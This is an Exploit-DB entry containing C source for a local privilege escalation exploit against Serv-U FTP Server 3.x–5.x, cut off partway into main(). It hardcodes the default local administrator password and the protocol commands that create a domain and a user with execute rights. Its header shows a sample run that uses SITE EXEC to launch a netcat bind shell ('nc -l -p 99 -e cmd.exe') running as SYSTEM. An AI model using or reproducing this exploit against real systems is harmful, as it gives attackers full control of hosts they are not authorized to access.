Exploit-DB #381
Description: RhinoSoft Serv-U FTP Server 3.x < 5.x - Local Privilege Escalation
Type: local
Platform: windows
Date: 2004-08-08
Author: AndrÃ©s Acunha

Exploit:
/*
 * Hax0rcitos proudly presents
 * Serv-u Local Exploit >v3.x. (tested also against last version 5.1.0.0)
 *
 * All Serv-u Versions have default Login/password for local Administration.
 * This account is only available to connect in the loopback interface, so a
 * local user will be able to connect to Serv-u with this account and create
 * an ftp user with execute rights. after the user is created, just connect
 * to the ftp server and execute a raw "SITE EXEC" command. the program will
 * be execute with SYSTEM privileges.
 *
 * Copyright (c) 2003-2004  Haxorcitos com . All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 *
 * Date:   10/2003
 * Author: Andrés Tarascó Acunha
 *
 * Greetings to: #haxorcitos - #localhost and #!dsr blackxors =)
 *
 * Tested Against Serv-u 4.x and v5.1.0.0

         G:\exploit\serv-U\local>whoami
        INSANE\aT4r

        G:\exploit\serv-U\local>servulocal.exe "nc -l -p 99 -e cmd.exe"
        Serv-u >3.x Local Exploit by Haxorcitos

        <220 Serv-U FTP Server v5.0 for WinSock ready...
        >USER LocalAdministrator
        <331 User name okay, need password.
        ******************************************************
        >PASS #l@$ak#.lk;0@P
        <230 User logged in, proceed.
        ******************************************************
        >SITE MAINTENANCE
        ******************************************************
        [+] Creating New Domain...
        <200-DomainID=3
        220 Domain settings saved
        ******************************************************
        [+] Domain Haxorcitos:3 Created
        [+] Setting New Domain Online
        <220 Server command OK
        ******************************************************
        [+] Creating Evil User
        <200-User=haxorcitos
        200 User settings saved
        ******************************************************
        [+] Now Exploiting...
        >USER haxorcitos
        <331 User name okay, need password.
        ******************************************************
        >PASS whitex0r
        <230 User logged in, proceed.
        ******************************************************
        [+] Now Executing: nc -l -p 99 -e cmd.exe
        <220 Domain deleted
        ******************************************************
         G:\exploit\serv-U\local>nc localhost 99
        Microsoft Windows XP [Versión 5.1.2600]
        (C) Copyright 1985-2001 Microsoft Corp.

        C:\>whoami
        whoami
        NT AUTHORITY\SYSTEM
         C:\>
  */

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <io.h>
#include <process.h>

//Responses
#define BANNER                  "220 "
#define USEROK                  "331 User name okay"
#define PASSOK                  "230 User logged in, proceed."
#define ADMOK                   "230-Switching to SYSTEM MAINTENANCE mode."
#define DOMAINID                "200-DomainID="
//Commands

#define XPLUSER                    "USER haxorcitos\r\n"
#define XPLPASSWORD                "PASS whitex0r\r\n"
#define USER                    "USER LocalAdministrator\r\n"
#define PASSWORD                "PASS #l@$ak#.lk;0@P\r\n"

#define MAINTENANCE             "SITE MAINTENANCE\r\n"
#define EXIT                    "QUIT\r\n"
char newdomain[]="-SETDOMAIN\r\n"
                 "-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n"
		 "-TZOEnable=0\r\n"
		 " TZOKey=\r\n";
/*               "-DynDNSEnable=0\r\n"
                 " DynIPName=\r\n";
*/
char deldomain[]="-DELETEDOMAIN\r\n"
                 "-IP=0.0.0.0\r\n"
                 " PortNo=2121\r\n";

char newuser[] =
                "-SETUSERSETUP\r\n"
                "-IP=0.0.0.0\r\n"
                "-PortNo=2121\r\n"
                "-User=haxorcitos\r\n"
                "-[CREDENTIAL_REDACTED]\r\n"
                "-HomeDir=c:\\\r\n"
                "-LoginMesFile=\r\n"
                "-Disable=0\r\n"
                "-RelPaths=1\r\n"
                "-NeedSecure=0\r\n"
                "-HideHidden=0\r\n"
                "-AlwaysAllowLogin=0\r\n"
                "-ChangePassword=0\r\n"
                "-QuotaEnable=0\r\n"
                "-MaxUsersLoginPerIP=-1\r\n"
                "-SpeedLimitUp=0\r\n"
                "-SpeedLimitDown=0\r\n"
                "-MaxNrUsers=-1\r\n"
                "-IdleTimeOut=600\r\n"
                "-SessionTimeOut=-1\r\n"
                "-Expire=0\r\n"
                "-RatioUp=1\r\n"
                "-RatioDown=1\r\n"
                "-RatiosCredit=0\r\n"
                "-QuotaCurrent=0\r\n"
                "-QuotaMaximum=0\r\n"
                "-Maintenance=None\r\n"
                "-PasswordType=Regular\r\n"
                "-Ratios=None\r\n"
                " Access=c:\\|RELP\r\n";

#define localport 43958
#define localip "127.0.0.1"

char cadena[1024];
int rec,domain;
/******************************************************************************/

void ParseCommands(int sock, char *data, int ShowSend, int showResponses,
char *response) {
 send(sock,data,strlen(data),0);
 if (ShowSend) printf(">%s",data);
 Sleep(100);
 do {
         rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
         if (rec<=0) return;
         if (showResponses) printf("<%s",cadena);
         if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)
                domain=atoi(cadena+strlen(DOMAINID));
 //} while (strncmp(cadena,response,strlen(response))!=0);
 } while (strstr(cadena,response)==NULL);
  printf("******************************************************\r\n");
}
/******************************************************************************/
int main(int argc, char* argv[])
{
	WSADATA ws